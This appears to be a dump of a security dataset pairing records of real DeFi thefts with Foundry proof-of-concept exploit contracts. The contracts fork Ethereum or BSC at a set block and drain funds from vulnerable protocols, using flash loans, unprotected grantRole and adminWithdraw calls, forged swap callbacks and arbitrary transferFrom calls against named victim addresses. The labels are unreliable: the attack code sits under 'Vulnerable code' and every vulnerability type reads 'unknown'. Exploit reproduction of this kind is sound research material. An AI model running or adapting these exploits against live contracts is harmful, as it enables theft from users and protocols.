Farseen0/scar-pairs huggingface dataset:
HIGH severity: YodlRouter exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : ~5k Attacker : https://etherscan.io/address/0xedee6379fe90bd9b85d8d0b767d4a6deb0dc9dcf Attack Contract : https://etherscan.io/address/0x802cfff8d7cb27879e00496843bb69361ff09ab3 Vulnerable Contract : https://etherscan.io/address/0xe3a0bc3483

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "../basetest.sol";
import "../interface.sol";

// @KeyInfo - Total Lost : ~5k
// Attacker : https://etherscan.io/address/0xedee6379fe90bd9b85d8d0b767d4a6deb0dc9dcf
// Attack Contract : https://etherscan.io/address/0x802cfff8d7cb27879e00496843bb69361ff09ab3
// Vulnerable Contract : https://etherscan.io/address/0xe3a0bc3483ae5a04db7ef2954315133a6f7d228e
// Attack Tx : https://etherscan.io/tx/0x54f659773dae6e01f83184d4b6d717c7f1bb71c0aa59e8c8f4a57c25271424b3

// @Info
// Vulnerable Contract Code : https://etherscan.io/address/0xe3a0bc3483ae5a04db7ef2954315133a6f7d228e#code

// @Analysis
// Post-mortem :
// Twitter Guy :
// Hacking God :
pragma solidity ^0.8.0;

interface IR {
    function transferFee(uint256 amount, uint256 feeBps, address token, address from, address to) external;
}

contract NoName is BaseTestWithBalanceLog {
    uint256 blocknumToForkFrom = 20_520_368;
    address internal YodlRouter = 0xE3A0bc3483AE5a04DB7eF2954315133a6F7D228E;
    address internal USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;

    function setUp() public {
        vm.createSelectFork("mainnet", blocknumToForkFrom);
        //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
        fundingToken = address(USDC);
    }

    function testExploit() public balanceLog {
        //implement exploit code here
        uint256 amount;
        uint256 feeBps = 10_000;
        address token = USDC;
        address from;
        address to = address(this);

        // Victim 0
        from = 0x5322BFF39339eDa261Bf878Fa7d92791Cc969Bb0;
        amount = 45_588_747_326;
        IR(YodlRouter).transferFee(amount, feeBps, token, from, to);

        // Victim 1
        from = 0xa7b7d4ebF1F5035F3b289139baDa62f981f2916E;
        amount = 1_219_608_225;
        IR(YodlRouter).transferFee(amount, feeBps, token, from, to);

        // Victim 2
        from = 0x2c349022df145C1a2eD895B5577905e6F1Bc7881;
        amount = 1_000_000_000;
        IR(YodlRouter).transferFee(amount, feeBps, token, from, to);

        // Victim 3
        from = 0x96D0F726FD900E199680277aAaD326fbdebc6BF9;
        amount = 1_000_000;
        IR(YodlRouter).transferFee(amount, feeBps, token, from, to);
    }
}


Vulnerability type: unknown
HIGH severity: Zenterest exploit (unknown). SPDX-License-Identifier: UNLICENSED TX : https://etherscan.io/tx/0xfe8bc757d87e97a5471378c90d390df47e1b29bb9fca918b94acd8ecfaadc598 Profit : ~ 21000 USD REASON : Price Out Of Date

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "../interface.sol";

// TX : https://etherscan.io/tx/0xfe8bc757d87e97a5471378c90d390df47e1b29bb9fca918b94acd8ecfaadc598
// Profit : ~ 21000 USD
// REASON : Price Out Of Date

contract ContractTest is Test {
    address attacker = address(this);
    Uni_Pair_V3 Pool = Uni_Pair_V3(0xC5c134A1f112efA96003f8559Dba6fAC0BA77692);
    IERC20 WHITE = IERC20(0x5F0E628B693018f639D10e4A4F59BD4d8B2B6B44);
    IERC20 MPH = IERC20(0x8888801aF4d980682e47f1A9036e589479e835C5);
    IUnitroller unitroller = IUnitroller(0x606246e9EF6C70DCb6CEE42136cd06D127E2B7C7);
    ICErc20Delegate zenWHITE = ICErc20Delegate(0xE3334e66634acF17B2b97ab560ec92D6861b25fa);
    ICErc20Delegate zenMPH = ICErc20Delegate(0x4dD6D5D861EDcD361455b330fa28c4C9817dA687);

    function setUp() external {
        vm.createSelectFork("mainnet", 20_541_640 - 1);
        vm.label(address(WHITE), "WHITE");
        vm.label(address(MPH), "MPH");
        vm.label(address(Pool), "Pool");
        vm.label(address(unitroller), "unitroller");
        vm.label(address(zenWHITE), "zenWHITE");
        vm.label(address(zenMPH), "zenMPH");
    }

    function testExploit() external {
        vm.prank(0x90744C976F69c7d112E8Fe85c750ACe2a2c16f15);
        MPH.transfer(attacker, 23_200 ether);
        Pool.flash(attacker, 85 ether, 0, "");
    }

    function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
        address[] memory cTokens = new address[](1);
        cTokens[0] = address(zenMPH);
        unitroller.enterMarkets(cTokens);
        MPH.approve(address(zenMPH), type(uint256).max);
        MPH.transfer(address(zenMPH), 2000 ether);
        zenMPH.mint(21_200 ether);

        uint256 WHITEBal = WHITE.balanceOf(attacker);
        WHITE.transfer(address(zenWHITE), WHITEBal);
        zenWHITE.accrueInterest();

        uint256 borrowAmount = WHITE.balanceOf(address(zenWHITE));
        zenWHITE.borrow(borrowAmount);

        WHITE.transfer(address(Pool), WHITEBal + fee0);
    }
}


Vulnerability type: unknown
HIGH severity: unverified_667d exploit (unknown). @KeyInfo - Total Lost : 10k Attacker : https://bscscan.com/address/0x847705eeb01b4f2ae9a92be12615c1052f52e7ad Attack Contract : https://bscscan.com/address/0xa2d1e47e1a154dd51f2eae0413100c4f8abe13c7, https://bscscan.com/address/0xd0a60158b6a5ef01cee3ba9652df695671f366e3 Vulnerable Contract : https:/

Vulnerable code:
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "../interface.sol";

// @KeyInfo - Total Lost : 10k
// Attacker : https://bscscan.com/address/0x847705eeb01b4f2ae9a92be12615c1052f52e7ad
// Attack Contract : https://bscscan.com/address/0xa2d1e47e1a154dd51f2eae0413100c4f8abe13c7, https://bscscan.com/address/0xd0a60158b6a5ef01cee3ba9652df695671f366e3
// Vulnerable Contract : https://bscscan.com/address/0x8de7eaba58efb23b6f323984377af582b23134e9
// Attack Tx : https://bscscan.com/tx/0x56d3ed5f635b009e19d693e432479323b23b3eb368cf04e161adbc672a15898e

// @Info
// Vulnerable Contract Code : 

// @Analysis
// Post-mortem : https://x.com/TenArmorAlert/status/1828983569278231038
// Twitter Guy : https://x.com/TenArmorAlert/status/1828983569278231038
// Hacking God : N/A

address constant addr1 = 0x603dd1d86b9bC3Ba7aB5c0267eaf7293Ca2abc52;
address constant header_addr = 0x667DFEd3C4D56DF32Ecc3F2E3CE5BcC4ef03A6Dc;
address constant vul_addr = 0x8DE7EAbA58EfB23B6F323984377af582B23134e9;
address constant attacker = 0x847705EEB01b4f2Ae9a92BE12615C1052F52e7Ad;
address constant dai = 0x1AF3F329e8BE154074D8769D1FFa4eE058B1DBc3;


contract ContractTest is Test {
    function setUp() public {
        vm.createSelectFork("bsc", 41770501);
    }
    
    function testPoC() public {
        vm.startPrank(attacker, attacker);
        AttackerC attC = new AttackerC();
        vm.stopPrank();
        emit log_named_decimal_uint("after attack: balance of address(attC)", IERC20(dai).balanceOf(address(attacker)), 18);
    }
}

// 0xA2d1e47e1A154dD51f2eae0413100c4F8ABE13C7
contract AttackerC {
    constructor() {
        // vul_addr.grantRole(bytes32 role, address account)
        (bool s1,) = vul_addr.call(
            abi.encodeWithSelector(
                bytes4(keccak256("grantRole(bytes32,address)")),
                bytes32(0),
                address(this)
            )
        );
        require(s1, "grantRole failed");

        // vul_addr.adminWithdraw(address handlerAddress, address tokenAddress, address recipient, uint256 amountOrTokenID)
        (bool s2,) = vul_addr.call(
            abi.encodeWithSelector(
                bytes4(keccak256("adminWithdraw(address,address,address,uint256)")),
                header_addr,
                dai,
                attacker,
                uint256(10463638549999999999999)
            )
        );
        require(s2, "adminWithdraw failed");
    }
}

Vulnerability type: unknown
HIGH severity: INUMI exploit (unknown). @KeyInfo - Total Lost : 11,000 USD Attacker : https://etherscan.io/address/0xd215ffaf0f85fb6f93f11e49bd6175ad58af0dfd Attack Contract : https://etherscan.io/address/0xd129d8c12f0e7aa51157d9e6cc3f7ece2dc84ecd Vulnerable Contract : https://etherscan.io/address/0xdb27d4ff4be1cd04c34a7cb6f47402c37cb7345

Vulnerable code:
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "../interface.sol";

// @KeyInfo - Total Lost : 11,000 USD
// Attacker : https://etherscan.io/address/0xd215ffaf0f85fb6f93f11e49bd6175ad58af0dfd
// Attack Contract : https://etherscan.io/address/0xd129d8c12f0e7aa51157d9e6cc3f7ece2dc84ecd
// Vulnerable Contract : https://etherscan.io/address/0xdb27d4ff4be1cd04c34a7cb6f47402c37cb73459
// Attack Tx : https://etherscan.io/tx/0xbeef352f716973043236f73dd5104b9d905fd04b7fc58d9958ac5462e7e3dbc1

// @Info
// Vulnerable Contract Code : N/A

// @Analysis

// Post-mortem : https://x.com/TenArmorAlert/status/1834504921561100606
// Twitter Guy : https://x.com/TenArmorAlert/status/1834504921561100606
// Hacking God : N/A

address constant addr1 = 0xdb27D4ff4bE1cd04C34A7cB6f47402c37Cb73459;
address constant attacker = 0xd215FFaf0F85fB6f93F11E49Bd6175ad58af0Dfd;
address constant addr2 = 0xd129D8C12f0e7aA51157D9e6cc3F7Ece2dc84ecD;

interface ITarget {
    function setMarketingWallet(address walletAddress) external;
    function rescueEth() external;
}

contract ContractTest is Test {
    function setUp() public {
        vm.createSelectFork("mainnet", 20729548);
        deal(attacker, 1.07297e-13 ether);
    }
    
    function testPoC() public {
        emit log_named_decimal_uint("before attack: balance of attacker", address(attacker).balance, 18);
        vm.startPrank(attacker, attacker);
        AttackerC attC = new AttackerC();
        deal(address(attC), 5.000000000000028 ether);
        attC.attack{value: 1.07297e-13 ether}();
        vm.stopPrank();
        emit log_named_decimal_uint("after attack: balance of attacker", address(attacker).balance, 18);
    }
}

// 0xd129D8C12f0e7aA51157D9e6cc3F7Ece2dc84ecD
contract AttackerC {
    function attack() public payable {
        ITarget(addr1).setMarketingWallet(address(this));
        ITarget(addr1).rescueEth();
        (bool s, ) = attacker.call{value: address(this).balance}("");
    }
  
    fallback() external payable {}

    receive() external payable {}
}

Vulnerability type: unknown
HIGH severity: unverified_03f9 exploit (unknown). @KeyInfo - Total Lost : $1.7k Attacker : https://etherscan.io/address/0xf073a21f0d68adacfff34d5b8df04550c944e348 Attack Contract : https://etherscan.io/address/0xd683b81c2608980db90a6fd730153e04629ff1a3 Vulnerable Contract : https://etherscan.io/address/0x03f911aedc25c770e701b8f563e8102cfacd62c0 Att

Vulnerable code:
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "../interface.sol";

// @KeyInfo - Total Lost : $1.7k
// Attacker : https://etherscan.io/address/0xf073a21f0d68adacfff34d5b8df04550c944e348
// Attack Contract : https://etherscan.io/address/0xd683b81c2608980db90a6fd730153e04629ff1a3
// Vulnerable Contract : https://etherscan.io/address/0x03f911aedc25c770e701b8f563e8102cfacd62c0
// Attack Tx : https://etherscan.io/tx/0x1a3e9eb5e00f39e84f90ca23bd851aa194b1e7a90003e3f6b9b17bbb66dabbb9

// @Info
// Vulnerable Contract Code : https://etherscan.io/address/0x03f911aedc25c770e701b8f563e8102cfacd62c0

// @Analysis
// Post-mortem : https://x.com/TenArmorAlert/status/1834488796953673862
// Twitter Guy : https://x.com/TenArmorAlert/status/1834488796953673862
// Hacking God : N/A

address constant weth9 = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant vul_contract = 0x03F911AeDc25c770e701B8F563E8102CfACd62c0;
address constant attacker = 0xf073a21f0D68aDaCfff34D5b8DF04550c944e348;

contract ContractTest is Test {
    function setUp() public {
        vm.createSelectFork("mainnet", 20737848);
    }
    
    function testPoC() public {
        emit log_named_decimal_uint("before attack: balance of attacker", address(attacker).balance, 18);
        vm.startPrank(attacker, attacker);
        AttackerC attC = new AttackerC();
        // deal(address(attC), 0.7370354703656878 ether); // give only ether
        deal(weth9, address(attC), 737035470365687849); // give WETH
        attC.attack();
        vm.stopPrank();
        emit log_named_decimal_uint("after attack: balance of attacker", address(attacker).balance, 18);
    }
}

// 0xD683B81c2608980DB90a6fD730153e04629ff1A3
contract AttackerC {
    receive() external payable {}

    function attack() public {
        bytes memory data = abi.encode(
            address(weth9),
            address(this),
            uint256(10000)
        );
        (bool ok, ) = addr2.call(
            abi.encodeWithSelector(
                bytes4(keccak256("uniswapV3SwapCallback(int256,int256,bytes)")),
                int256(737035470365687848),
                int256(-18035979692517947),
                data
            )
        );
        require(ok, "callback failed");

        uint256 bal = IWETH9(weth9).balanceOf(address(this));
        IWETH9(weth9).withdraw(bal - 1);
        // here, we didn't transfer ether to the block.coinbase
        payable(msg.sender).transfer(address(this).balance);
    }
  
    fallback() external payable {}
}

interface IWETH9 {
	function withdraw(uint256) external;
	function balanceOf(address) external view returns (uint256); 
}

Vulnerability type: unknown
HIGH severity: unverified_5697 exploit (unknown). @KeyInfo - Total Lost : $12K Attacker : https://etherscan.io/address/0x0000daaee5fbc2d3fc5a5c0cb456d2c24e4f81de Attack Contract : Vulnerable Contract : Attack Tx : https://app.blocksec.com/explorer/tx/eth/0x3f0dc68dc89fce3250b9d2de2611384b8af258e83f7a711f666917c5590d13d2 @Info Vulnerable Contract Co

Vulnerable code:
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "../interface.sol";

// @KeyInfo - Total Lost : $12K
// Attacker : https://etherscan.io/address/0x0000daaee5fbc2d3fc5a5c0cb456d2c24e4f81de
// Attack Contract : 
// Vulnerable Contract : 
// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0x3f0dc68dc89fce3250b9d2de2611384b8af258e83f7a711f666917c5590d13d2

// @Info
// Vulnerable Contract Code :

// @Analysis
// Post-mortem : https://x.com/TenArmorAlert/status/1834432197375533433
// Twitter Guy : https://x.com/TenArmorAlert/status/1834432197375533433
// Hacking God : 

address constant weth9 = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant attacker = 0x0000dAAee5FbC2d3fC5a5C0cB456d2c24e4F81dE;
address constant addr1 = 0x56974D5AF75B1eF96722052a57735187E9b91751;
address constant addr2 = 0x7c243E010E086cAaD737D47E5a40A59E8B79E92d;


contract ContractTest is Test {
    function setUp() public {
        vm.createSelectFork("mainnet", 20738427);
    }
    
    function testPoC() public {
        emit log_named_decimal_uint("before attack: balance of attacker", IERC20(weth9).balanceOf(attacker), 18);
        vm.startPrank(addr2);
        IWETH9(weth9).approve(attacker, type(uint256).max);
        vm.stopPrank();
        vm.startPrank(attacker, attacker);
        IWETH9(weth9).transferFrom(addr2, attacker, 5049899842444876795);
        emit log_named_decimal_uint("after attack: balance of attacker", IERC20(weth9).balanceOf(attacker), 18);
    }
}

Vulnerability type: unknown
HIGH severity: unverified_a89f exploit (unknown). 

Vulnerable code:
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "../interface.sol";

address constant attacker = 0xfe51ffcd2af4748d77130646988F966733583dc1;
address constant addr1 = 0xb3094734FE249A7b0110dC12D66F6C404aDA28Cb;
address constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;

// @KeyInfo - Total Lost : $1.5k
// Attacker : https://etherscan.io/address/0xfe51ffcd2af4748d77130646988f966733583dc1
// Attack Contract : https://etherscan.io/address/0xa826dacf14a462bca2a6e4de4c27f20ed7b43b1d
// Vulnerable Contract : https://etherscan.io/address/0xb3094734fe249a7b0110dc12d66f6c404ada28cb
// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0x83c71a83656b0fecfa860e76a9becf738930b3f1b2510c7d0339ab585090a82d
// Similar Attack Tx : https://app.blocksec.com/explorer/tx/eth/0xf93db4cdee0ed2af06067a9c953ebc62dd17f70be37961636c42d698cc23e932

// @Info
// Vulnerable Contract Code : 

// @Analysis
// Post-mortem : https://x.com/TenArmorAlert/status/1831637553415610877
// Twitter Guy : https://x.com/TenArmorAlert/status/1831637553415610877
// Hacking God : N/A

contract ContractTest is Test {
    function setUp() public {
        vm.createSelectFork("mainnet", 20683453-1);
    }
    
    function testPoC() public {

        vm.startPrank(attacker, attacker);
        AttackerC attC = new AttackerC();
        attC.attack();
        vm.stopPrank();
        emit log_named_decimal_uint("after attack: balance of address(attC)", IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2).balanceOf(address(attC)), 18);
    }
}

// 0xA826daCf14a462bca2A6e4de4c27F20ED7B43B1D
contract AttackerC {
    function attack() public {
        // call addr1.uniswapV3SwapCallback(3600e14, -86965571293199577, abi.encodePacked(uint256(0)))
        bytes memory data = abi.encodePacked(uint8(0), uint256(0));
        (bool ok, ) = addr1.call(
            abi.encodeWithSelector(
                bytes4(keccak256("uniswapV3SwapCallback(int256,int256,bytes)")),
                int256(360000000000000000),
                int256(-86965571293199577),
                data
            )
        );
    }

    function token0() external pure returns (address) {
        return weth;
    }

    function fallback() external payable {}
}

Vulnerability type: unknown
HIGH severity: AIZPTToken exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : 34.88 BNB (~$20K USD) Attacker : https://bscscan.com/address/0x3026c464d3bd6ef0ced0d49e80f171b58176ce32 Attack Contract : https://bscscan.com/address/0x8408497c18882bfb61be9204cfff530f4ee18320 Vulnerable Contract : https://bscscan.com/addre

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "../interface.sol";

// @KeyInfo - Total Lost : 34.88 BNB (~$20K USD)
// Attacker : https://bscscan.com/address/0x3026c464d3bd6ef0ced0d49e80f171b58176ce32
// Attack Contract : https://bscscan.com/address/0x8408497c18882bfb61be9204cfff530f4ee18320
// Vulnerable Contract : https://bscscan.com/address/0xbe779d420b7d573c08eee226b9958737b6218888
// Attack Tx : https://bscscan.com/tx/0x5e694707337cca979d18f9e45f40e81d6ca341ed342f1377f563e779a746460d
// @POC Author : [rotcivegaf](https://twitter.com/rotcivegaf)

// Contracts involved
address constant PancakeV3Pool = 0x36696169C63e42cd08ce11f5deeBbCeBae652050;
address constant BUSDT = 0x55d398326f99059fF775485246999027B3197955;
address constant weth = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
address constant AIZPT = 0xBe779D420b7D573C08EEe226B9958737b6218888;

contract AIZPTToken_exp is Test {
    address attacker = makeAddr("attacker");

    function setUp() public {
        vm.createSelectFork("bsc", 42_846_998 - 1);
    }

    function testPoC() public {
        vm.startPrank(attacker);
        AttackerC attackerC = new AttackerC();
        vm.label(address(attackerC), "attackerC");

        attackerC.attack();

        console.log("Final balance in wBNB :", IERC20(weth).balanceOf(attacker));
    }
}

contract AttackerC {
    function attack() external {
        IFS(PancakeV3Pool).flash(address(this), 0, 8000 ether, "");

        IERC20(weth).transfer(msg.sender, IERC20(weth).balanceOf(address(this)));
    }

    function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
        IFS(weth).withdraw(8000 ether);

        AIZPT.call{value: 8000 ether}("");

        for (uint256 i; i < 199; ++i) {
            IERC20(AIZPT).transfer(AIZPT, 3_837_275 ether);
        }

        IFS(weth).deposit{value: address(this).balance}();

        IERC20(weth).transfer(PancakeV3Pool, 8_004_100_000_000_000_000_000);
    }

    receive() external payable {}
}

interface IFS is IERC20 {
    // PancakeV3Pool
    function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;

    // WETH
    function withdraw(
        uint256
    ) external;
    function deposit() external payable;
}


Vulnerability type: unknown
HIGH severity: Erc20transfer exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : $14,773.35 Attacker : https://etherscan.io/address/0xfde0d1575ed8e06fbf36256bcdfa1f359281455a Attack Contract : https://etherscan.io/address/0x6980a47bee930a4584b09ee79ebe46484fbdbdd0 Vulnerable Contract : https://etherscan.io/address/0x43d

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "../basetest.sol";

// @KeyInfo - Total Lost : $14,773.35
// Attacker : https://etherscan.io/address/0xfde0d1575ed8e06fbf36256bcdfa1f359281455a
// Attack Contract : https://etherscan.io/address/0x6980a47bee930a4584b09ee79ebe46484fbdbdd0
// Vulnerable Contract : https://etherscan.io/address/0x43dc865e916914fd93540461fde124484fbf8faa
// Attack Tx : https://etherscan.io/tx/0x7f2540af4a1f7b0172a46f5539ebf943dd5418422e4faa8150d3ae5337e92172

// @Info
// Vulnerable Contract Code : https://etherscan.io/address/0x43dc865e916914fd93540461fde124484fbf8faa#code

// @Analysis
// Post-mortem : https://x.com/d23e_AG/status/1849064161017225645
// Twitter Guy : https://x.com/d23e_AG/status/1849064161017225645
// Hacking God : https://x.com/d23e_AG/status/1849064161017225645
pragma solidity ^0.8.0;

interface I {
    function erc20TransferFrom(address, address, address, uint256) external;
}

contract Erc20transfer is BaseTestWithBalanceLog {
    uint256 blocknumToForkFrom = 21_019_771;

    function setUp() public {
        vm.createSelectFork("mainnet", blocknumToForkFrom);
        //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
        fundingToken = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
    }

    function testExploit() public balanceLog {
        I(0x43Dc865E916914FD93540461FdE124484FBf8fAa).erc20TransferFrom(
            0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48, address(this), 0x3DADf003AFCC96d404041D8aE711B94F8C68c6a5, 0
        );
    }
}


Vulnerability type: unknown